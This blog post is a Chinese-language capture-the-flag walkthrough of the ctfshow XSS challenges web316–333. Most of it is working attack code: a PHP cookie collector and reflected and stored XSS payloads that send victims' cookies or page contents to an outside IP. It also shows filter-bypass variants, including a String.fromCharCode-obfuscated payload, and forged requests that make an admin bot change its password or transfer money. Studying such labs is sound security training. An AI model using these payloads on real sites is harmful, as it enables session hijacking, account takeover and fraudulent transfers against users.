CTFSHOW-XSS


XSS

web 316

XSS 题,网页给了提示,反射型 XSS

填入简单的 payload

<script>alert(document.cookie)</script>

显示不是 admin,这里是看 wp 的,和之前做 burplab 不同的地方,这里需要XSS 的不是自己的信息,这里有一个后台的 bot ,会访问你的 XSS 代码,所以需要获取他的信息

image

这里利用 vps 创建一个 php 服务,让用户访问时带上一个参数

<?php
$content = $_GET['cookie'];
if(isset($content)){
        file_put_contents('./flag.txt',$content);
}else{
        echo 'no thing';
}

然后创建服务

php -S 0.0.0.0:8080

接着使用这个 payload 发送上去,bot 就会触发这个,将 cookie 给到 vps

<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>

location.href :将页面重定向到后面的 url

image

web 317

这里应该是过滤了 script,没有效果

onerror 成功

<img src="" onerror=alert("1")>

image

<img src="" onerror=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>

成功

image

web 318

不清楚是过滤了 img​ 还是 onerror

使用 body​ 配合 onload 就行

<body onload=alert("1")>

image

<body onload=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>

成功拿到
这里突然发现,好像都不用写 php ,直接在 url 里看就行(

image


这里学到一个奇怪的绕过方法

<body οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,49,46,51,53,46,49,53,49,46,52,50,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

document.write():将字符串写入 HTML 页面中

String.fromCharCode:将 ascii 转化为字符串

所以这个就相当于

<body οnlοad=document.write(String.fromCharCode(
<script>document.location.href='http://101.35.151.42:8080/index.php?cookie='+document.cookie</script>
);>

随便写个脚本就行

code = "<script>document.location.href='http://101.35.151.42:8080/index.php?cookie='+document.cookie</script>"

for  i in code :
    asc = ord(i)
    print(asc,end=',')

web 319

不清楚过滤了什么,但是 body 照样能用

web 320

body 被过滤了,但是是配合 <>就被 waf

搞错了,是过滤了空格,使用注释 /**/ 来绕过,一些经常用的空格绕过方法好像都行

<body/**/onload=alert("1")>
<body/**/onload=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>

web 321-326

同上一题,难绷,搞这么多反射型的,但是一个 paylaod 过完了

web 327

到存储型 XSS 了,这里测试了一会发现一直网络拥堵,还以为不是这个漏洞点,后面看了下 wp 发现是收件人要是 admin ,有点妹想到

image

最后用之前的 payload 就行,这题没有过滤什么东西

<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>

web 328

有一个注册页面,发现在用户管理页面管理员是可以看到用户名的,所以应该是在用户名的地方进行 XSS

image

<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>

从管理员那里先拿到 cookie

image

然后访问,但是因为有这个东西,一直访问的时候就跳转了(

image

只能用 burp 拦截了

image

web 329

这里同样拿到 cookie ,但是好像会马上失效

这里学到了用 XSS 获取页面的元素

<script>
window.open('http://101.35.151.42:8080/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[2].innerHTML)
</script>

window.open​:这个和 location.href 有区别,这个就不会出现上面的问题,会在新窗口打开页面

document.getElementsByClassName:获取 HTML 页面中带有指定类名的元素

image

innerHTML​ 和 outerHTML
innerHTML​ :获取元素内部所有的 HTML
outerHTML :获取元素自身和内部所有 HTML

成功获取到 flag

image


跟着 wp 学到的第二个方法,使用 jQuery 选择器

$('.laytable-cell-1-0-1').each(function(index,value){
	console.log(value);
});

逐个遍历 class 为 .laytable-cell-1-0-1​ ,因为前面看到的是 layui-table-cell laytable-cell-1-0-1,是有两个类的意思,这里主要获取密码这个类就行,所以用后面的那个

each​ :对当前 jQuery​ 选中的每一个元素执行一次指定的回调函数,就是后面的 function​ ,这里接收两个参数,index、value

image

利用这个构造 payload

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerHTML.indexOf('ctfshow{')>-1){
window.open('http://101.35.151.42:8080/'+value.innerHTML);
}});
</script>

indexOf():这个是遍历中的条件语句,检查当前的元素中是否包含字符串,绕过包含则返回大于 -1 的索引,否则返回 -1


querySelector 获取元素

querySelector 是 js 中用于从文档中获取元素的方法,通过指定 CSS 选择器来查找

var element = document.querySelector(CSSselector);
  • CSSselector 就是要查找的元素选择器
<script>
var img = new Image();
img.src = "http://101.35.151.42:8080/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
</script>

document.body.append(img):将创建的图像元素 img 添加到页面的 body 中

web 330

这里多了一个修改密码的页面

image

使用上一题的 payload 发现传过来的是 *,使用 cookie 也不行

image

使用 outerHTML 测试发现就是没有显示

<script>
window.open('http://101.35.151.42:8080/?cookie='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[6].outerHTML)
</script>

image

都走不通感觉就是要修改 admin 的密码去登录,修改密码,抓包

发现用的是这个路由修改的,那就让 bot 自己修改密码

image

然后使用这个 payload 就可以修改 admin 的密码

<script>
window.location.href='http://127.0.0.1/api/change.php?p=123';
</script>
<script>
window.open('http://127.0.0.1/api/change.php?p=123');
</script>

image

web 331

抓包看到这里的请求变成了 post 请求

image

<script>
$.ajax({url:"/api/change.php",method:"POST",data:{'p':'123'}});
</script>

$.ajax()​:这个是 jQuery 中的一个方法,用于发起异步 HTTP 请求

成功获取

image

web 332

多了一个转账汇款的功能,猜测就是让 admin 用户给你转账

image

测试的时候发现了几个问题,一个就是登录的时候去购买 flag 依旧显示先登录,并且在转账的时候显示有内鬼

这里是转账的请求

image

<script>
$.ajax({url:"/api/amount.php",method:"POST",data:{'u':'1','a':'9999'},success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>

难绷,拿到了这个还是让我先登录,服了(

image

那试试让 admin 去拿

<script>
$.ajax({url:"/api/getFlag.php ",method:"POST",success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>

得,返回来一个 admin 不需要 flag

image

我晕了,是账户的问题,换一个账户名就行,不能用1什么的

image

然后这里有一个非预期,给 admin 账户转 -100000​ ,就会变成正的,逻辑好像是 5-(-100000) 然后变成正的

web 333

这个好像就是修复了上一题的非预期,但是我的 payload 没有问题

<script>
$.ajax({url:"/api/amount.php",method:"POST",data:{'u':'23','a':'9999'},success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>

文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录